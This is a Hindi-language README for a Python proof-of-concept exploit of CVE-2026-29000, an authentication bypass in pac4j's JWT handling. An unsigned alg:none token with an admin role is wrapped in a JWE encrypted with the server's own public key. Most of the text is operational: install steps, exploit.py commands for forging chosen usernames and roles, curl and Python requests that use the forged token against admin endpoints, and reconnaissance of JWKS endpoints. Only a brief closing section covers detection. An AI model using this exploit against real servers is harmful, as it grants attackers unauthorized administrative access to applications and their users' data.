
Python POC, CVE-2026-29000 के लिए Exploit
प्रूफ ऑफ कॉन्सेप्ट CVE-2026-29000 के लिए - pac4j JWT इम्प्लीमेंटेशन में एक गंभीर प्रमाणीकरण बाईपास भेद्यता जो हमलावरों को बिना वैध हस्ताक्षर के एडमिन टोकन बनाने की अनुमति देती है।
यह टूल केवल शैक्षिक और अधिकृत सुरक्षा परीक्षण उद्देश्यों के लिए प्रदान किया गया है। लेखक इस एक्सप्लॉइट के किसी भी दुरुपयोग, क्षति, या अवैध उपयोग के लिए कोई ज़िम्मेदारी नहीं लेता है।
यह भेद्यता pac4j के JWT प्रमाणीकरण तंत्र में एक दोष का शोषण करती है जहां लाइब्रेरी:
alg: "none" के साथ बिना हस्ताक्षर वाले टोकन स्वीकार करती हैएक हमलावर मनमाने दावों (जैसे role: "ROLE_ADMIN") के साथ एक बिना हस्ताक्षर वाला JWT बना सकता है, इसे सर्वर की सार्वजनिक कुंजी का उपयोग करके JWE कंटेनर में एन्क्रिप्ट कर सकता है, और एडमिन कार्यक्षमताओं तक अनधिकृत पहुंच प्राप्त कर सकता है।
इस एक्सप्लॉइट के सफल होने के लिए, लक्ष्य सर्वर को निम्नलिखित सभी शर्तों को पूरा करना होगा:
सर्वर को अपनी सार्वजनिक कुंजियाँ इनमें से किसी एक एंडपॉइंट के माध्यम से उजागर करनी चाहिए:
/.well-known/jwks.json (मानक OAuth/OIDC एंडपॉइंट)/api/auth/jwks (कस्टम एंडपॉइंट)क्यों: एक्सप्लॉइट जाली JWE टोकन को एन्क्रिप्ट करने के लिए सर्वर की सार्वजनिक कुंजी स्वचालित रूप से प्राप्त करता है।
सर्वर को यह करना होगा:
role दावे को स्वीकार और संसाधित करनाROLE_ADMIN)सामान्य भूमिकाएँ:
ROLE_ADMIN - पूर्ण एडमिनिस्ट्रेटिव पहुंचROLE_USER - मानक उपयोगकर्ता पहुंचसर्वर को यह करना होगा:
एप्लिकेशन को pac4j का उपयोग इनके साथ करना चाहिए:
"none" पर सेट या अपर्याप्त एल्गोरिथ्म सत्यापनrequests, jwcrypto# Clone the repository
git clone https://github.com/yourusername/CVE-2026-29000.git
cd CVE-2026-29000
# Install dependencies
pip install -r requirements.txt
requests>=2.28.0
jwcrypto>=1.4.0
python3 exploit.py <TARGET_URL>
उदाहरण:
python3 exploit.py http://vulnerable-app.local:8080
स्क्रिप्ट यह करेगी:
role: "ROLE_ADMIN" के साथ एक बिना हस्ताक्षर वाला JWT उत्पन्न करेंpython3 exploit.py http://vulnerable-app.local:8080 --username john
python3 exploit.py http://vulnerable-app.local:8080 --role ROLE_MODERATOR
यदि JWKS एंडपॉइंट सार्वजनिक रूप से सुलभ नहीं है, तो JWK मैन्युअल रूप से प्रदान करें:
python3 exploit.py http://vulnerable-app.local:8080 \
--jwk '{"keys":[{"kty":"RSA","n":"...","e":"AQAB"}]}'
python3 exploit.py http://vulnerable-app.local:8080 \
--username hacker \
--role ROLE_ADMIN \
--jwk '{"keys":[{...}]}'
एक्सप्लॉइट निम्नलिखित प्रारूप में JWE टोकन आउटपुट करता है:
Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0...
संरक्षित एंडपॉइंट तक पहुंचने के लिए HTTP अनुरोधों में टोकन का उपयोग करें:
# Using curl
curl -H "Authorization: Bearer <JWE_TOKEN>" \
http://vulnerable-app.local:8080/api/admin/dashboard
# Using Python requests
import requests
headers = {"Authorization": f"Bearer {jwe_token}"}
response = requests.get("http://vulnerable-app.local:8080/api/admin", headers=headers)
curl -H "Authorization: Bearer eyJhbGciOiJSU0EtT0FFUC0yNTYiLCJlbmMiOiJBMTI4R0NNIiwia2lkIjoiZW5jLWtleS0xIiwiY3R5IjoiSldUIn0..." \
http://vulnerable-app.local:8080/api/users/list
header = {"alg": "none", "type": "JWT"}
payload = {
"sub": "admin", # Username
"role": "ROLE_ADMIN", # Privilege level
"iss": "principal-platform", # Issuer
"iat": 1234567890, # Issued at
"exp": 1234571490 # Expiration (1 hour)
}
JWT बिना हस्ताक्षर (alg: "none") के साथ बनाया गया है, जो सामान्य रूप से अमान्य है लेकिन असुरक्षित सर्वर द्वारा स्वीकार कर लिया जाता है।
एक्सप्लॉइट क्वेरी करता है:
/.well-known/jwks.json (OAuth/OIDC मानक)/api/auth/jwks (कस्टम एंडपॉइंट)यह एन्क्रिप्शन के लिए आवश्यक सर्वर की RSA सार्वजनिक कुंजी प्राप्त करता है।
बिना हस्ताक्षर वाला JWT इनका उपयोग करके एन्क्रिप्ट किया जाता है:
यह एक JWE टोकन बनाता है जिसे सर्वर डिक्रिप्ट कर सकता है लेकिन आंतरिक हस्ताक्षर को सत्यापित नहीं करेगा।
JWE टोकन Authorization हेडर में शामिल किया गया है:
Authorization: Bearer <JWE_TOKEN>
असुरक्षित सर्वर इसे डिक्रिप्ट करता है और बिना हस्ताक्षर वाला JWT निकालता है, बिना हस्ताक्षर सत्यापित किए दावों पर भरोसा करता है।
Unsigned JWT (alg:none)
↓
Wraps in JWE (with server's public key)
↓
Server receives JWE token
↓
Server decrypts JWE
↓
Extracts inner unsigned JWT
↓
❌ Server does NOT verify signature
↓
✅ Accepts claims as valid (role: ROLE_ADMIN)
↓
Attacker has admin access!
JWKS एंडपॉइंट एक्सपोज़र
/.well-known/jwks.json या /api/auth/jwks सार्वजनिक रूप से सुलभ हैJWT सत्यापन लॉग
alg: "none" वाले टोकन स्वीकार करने वाले लॉग देखेंकॉन्फ़िगरेशन समीक्षा
# Reconnaissance
curl -s http://target:8080/.well-known/jwks.json | jq .
curl -s http://target:8080/api/auth/jwks | jq .
# Check if JWE tokens are accepted
curl -H "Authorization: Bearer eyJ..." http://target:8080/api/protected